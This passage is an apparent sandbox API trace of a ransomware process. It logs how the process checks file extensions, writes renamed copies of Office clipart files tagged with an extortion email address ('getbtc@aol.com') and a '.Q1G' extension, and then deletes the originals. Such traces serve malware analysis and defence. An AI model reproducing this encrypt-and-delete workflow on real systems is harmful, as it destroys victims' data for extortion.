lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.895] lstrlenW (lpString=".docx") returned 5 [0263.896] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0263.896] lstrlenW (lpString=".pdf") returned 4 [0263.896] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.896] lstrlenW (lpString=".xls") returned 4 [0263.896] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.896] lstrlenW (lpString=".xlsx") returned 5 [0263.896] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0263.896] lstrlenW (lpString=".ppt") returned 4 [0263.896] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0263.896] lstrlenW (lpString=".zip") returned 4 [0263.896] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.896] lstrlenW (lpString=".rar") returned 4 [0263.896] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.896] lstrlenW (lpString=".bz2") returned 4 [0263.896] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.896] lstrlenW (lpString=".7z") returned 3 [0263.896] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0263.896] lstrlenW (lpString=".dbf") returned 4 [0263.896] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0263.896] lstrlenW (lpString=".1cd") returned 4 [0263.896] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0263.896] lstrlenW (lpString=".jpg") returned 4 [0263.896] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.896] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0263.896] lstrlenW (lpString="J0174635.WMF") returned 12 [0263.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0263.897] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=9736) returned 1 [0263.897] CloseHandle (hObject=0x3c4) returned 1 [0263.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf")) returned 0x20 [0263.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0263.897] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.897] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0263.898] GetLastError () returned 0x0 [0263.898] ReadFile (in: hFile=0x3c4, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x2608, lpOverlapped=0x0) returned 1 [0263.928] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x2610, lpOverlapped=0x0) returned 1 [0263.928] ReadFile (in: hFile=0x3c4, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.929] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.929] SetEndOfFile (hFile=0x1f8) returned 1 [0263.929] CloseHandle (hObject=0x1f8) returned 1 [0263.929] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.929] SetEndOfFile (hFile=0x3c4) returned 1 [0263.931] CloseHandle (hObject=0x3c4) returned 1 [0263.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.931] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf")) returned 1 [0263.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF") returned 63 [0263.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF") returned 63 [0263.932] lstrlenW (lpString=".doc") returned 4 [0263.932] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.932] lstrlenW (lpString=".docx") returned 5 [0263.932] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0263.932] lstrlenW (lpString=".pdf") returned 4 [0263.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.932] lstrlenW (lpString=".xls") returned 4 [0263.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.932] lstrlenW (lpString=".xlsx") returned 5 [0263.932] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0263.932] lstrlenW (lpString=".ppt") returned 4 [0263.932] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF") returned 63 [0263.932] lstrlenW (lpString=".zip") returned 4 [0263.932] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.932] lstrlenW (lpString=".rar") returned 4 [0263.932] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.932] lstrlenW (lpString=".bz2") returned 4 [0263.932] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.932] lstrlenW (lpString=".7z") returned 3 [0263.932] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF") returned 63 [0263.932] lstrlenW (lpString=".dbf") returned 4 [0263.932] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF") returned 63 [0263.932] lstrlenW (lpString=".1cd") returned 4 [0263.932] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF") returned 63 [0263.932] lstrlenW (lpString=".jpg") returned 4 [0263.932] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF") returned 63 [0263.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF") returned 63 [0263.933] lstrlenW (lpString=".doc") returned 4 [0263.933] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.933] lstrlenW (lpString=".docx") returned 5 [0263.933] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0263.933] lstrlenW (lpString=".pdf") returned 4 [0263.933] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.933] lstrlenW (lpString=".xls") returned 4 [0263.933] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.933] lstrlenW (lpString=".xlsx") returned 5 [0263.933] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0263.933] lstrlenW (lpString=".ppt") returned 4 [0263.933] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF") returned 63 [0263.933] lstrlenW (lpString=".zip") returned 4 [0263.933] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.933] lstrlenW (lpString=".rar") returned 4 [0263.933] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.933] lstrlenW (lpString=".bz2") returned 4 [0263.933] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.933] lstrlenW (lpString=".7z") returned 3 [0263.933] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF") returned 63 [0263.933] lstrlenW (lpString=".dbf") returned 4 [0263.933] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF") returned 63 [0263.933] lstrlenW (lpString=".1cd") returned 4 [0263.933] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF") returned 63 [0263.933] lstrlenW (lpString=".jpg") returned 4 [0263.933] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.934] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0263.934] lstrlenW (lpString="J0174952.JPG") returned 12 [0263.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0263.936] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=24982) returned 1 [0263.936] CloseHandle (hObject=0x3c4) returned 1 [0263.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg")) returned 0x20 [0263.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0263.936] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.936] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0263.937] GetLastError () returned 0x0 [0263.937] ReadFile (in: hFile=0x3c4, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x6196, lpOverlapped=0x0) returned 1 [0263.978] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x61a0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x61a0, lpOverlapped=0x0) returned 1 [0263.979] ReadFile (in: hFile=0x3c4, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.979] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.979] SetEndOfFile (hFile=0x1f8) returned 1 [0263.979] CloseHandle (hObject=0x1f8) returned 1 [0263.979] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.979] SetEndOfFile (hFile=0x3c4) returned 1 [0263.981] CloseHandle (hObject=0x3c4) returned 1 [0263.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.982] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg")) returned 1 [0263.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG") returned 63 [0263.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG") returned 63 [0263.982] lstrlenW (lpString=".doc") returned 4 [0263.982] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0263.982] lstrlenW (lpString=".docx") returned 5 [0263.982] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0263.982] lstrlenW (lpString=".pdf") returned 4 [0263.982] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0263.982] lstrlenW (lpString=".xls") returned 4 [0263.982] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0263.982] lstrlenW (lpString=".xlsx") returned 5 [0263.982] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0263.982] lstrlenW (lpString=".ppt") returned 4 [0263.983] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0263.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG") returned 63 [0263.983] lstrlenW (lpString=".zip") returned 4 [0263.983] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0263.983] lstrlenW (lpString=".rar") returned 4 [0263.983] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0263.983] lstrlenW (lpString=".bz2") returned 4 [0263.983] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0263.983] lstrlenW (lpString=".7z") returned 3 [0263.983] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0263.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG") returned 63 [0263.983] lstrlenW (lpString=".dbf") returned 4 [0263.983] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0263.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG") returned 63 [0263.983] lstrlenW (lpString=".1cd") returned 4 [0263.983] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0263.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG") returned 63 [0263.983] lstrlenW (lpString=".jpg") returned 4 [0263.983] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0263.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG") returned 63 [0263.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG") returned 63 [0263.983] lstrlenW (lpString=".doc") returned 4 [0263.983] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0263.983] lstrlenW (lpString=".docx") returned 5 [0263.983] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0263.983] lstrlenW (lpString=".pdf") returned 4 [0263.983] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0263.983] lstrlenW (lpString=".xls") returned 4 [0263.983] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0263.983] lstrlenW (lpString=".xlsx") returned 5 [0263.983] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0263.983] lstrlenW (lpString=".ppt") returned 4 [0263.983] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0263.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG") returned 63 [0263.983] lstrlenW (lpString=".zip") returned 4 [0263.984] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0263.984] lstrlenW (lpString=".rar") returned 4 [0263.984] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0263.984] lstrlenW (lpString=".bz2") returned 4 [0263.984] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0263.984] lstrlenW (lpString=".7z") returned 3 [0263.984] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0263.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG") returned 63 [0263.984] lstrlenW (lpString=".dbf") returned 4 [0263.984] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0263.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG") returned 63 [0263.984] lstrlenW (lpString=".1cd") returned 4 [0263.984] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0263.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG") returned 63 [0263.984] lstrlenW (lpString=".jpg") returned 4 [0263.984] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0263.984] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0263.984] lstrlenW (lpString="J0177806.JPG") returned 12 [0263.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0263.998] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=55554) returned 1 [0263.998] CloseHandle (hObject=0x390) returned 1 [0263.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg")) returned 0x20 [0264.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0264.074] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.074] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0264.075] GetLastError () returned 0x0 [0264.075] ReadFile (in: hFile=0x3e0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0xd902, lpOverlapped=0x0) returned 1 [0264.093] WriteFile (in: hFile=0x3a0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xd910, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xd910, lpOverlapped=0x0) returned 1 [0264.095] ReadFile (in: hFile=0x3e0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.095] WriteFile (in: hFile=0x3a0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.095] SetEndOfFile (hFile=0x3a0) returned 1 [0264.095] CloseHandle (hObject=0x3a0) returned 1 [0264.095] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.095] SetEndOfFile (hFile=0x3e0) returned 1 [0264.404] CloseHandle (hObject=0x3e0) returned 1 [0264.404] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.429] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg")) returned 1 [0264.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG") returned 63 [0264.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG") returned 63 [0264.437] lstrlenW (lpString=".doc") returned 4 [0264.437] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0264.437] lstrlenW (lpString=".docx") returned 5 [0264.437] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0264.437] lstrlenW (lpString=".pdf") returned 4 [0264.437] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0264.437] lstrlenW (lpString=".xls") returned 4 [0264.437] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0264.437] lstrlenW (lpString=".xlsx") returned 5 [0264.437] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0264.437] lstrlenW (lpString=".ppt") returned 4 [0264.437] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0264.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG") returned 63 [0264.437] lstrlenW (lpString=".zip") returned 4 [0264.437] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0264.437] lstrlenW (lpString=".rar") returned 4 [0264.437] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0264.437] lstrlenW (lpString=".bz2") returned 4 [0264.437] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0264.437] lstrlenW (lpString=".7z") returned 3 [0264.437] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0264.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG") returned 63 [0264.437] lstrlenW (lpString=".dbf") returned 4 [0264.437] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0264.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG") returned 63 [0264.437] lstrlenW (lpString=".1cd") returned 4 [0264.437] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0264.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG") returned 63 [0264.437] lstrlenW (lpString=".jpg") returned 4 [0264.438] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0264.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG") returned 63 [0264.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG") returned 63 [0264.438] lstrlenW (lpString=".doc") returned 4 [0264.438] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0264.438] lstrlenW (lpString=".docx") returned 5 [0264.438] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0264.438] lstrlenW (lpString=".pdf") returned 4 [0264.438] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0264.438] lstrlenW (lpString=".xls") returned 4 [0264.438] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0264.438] lstrlenW (lpString=".xlsx") returned 5 [0264.438] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0264.438] lstrlenW (lpString=".ppt") returned 4 [0264.438] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0264.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG") returned 63 [0264.438] lstrlenW (lpString=".zip") returned 4 [0264.438] 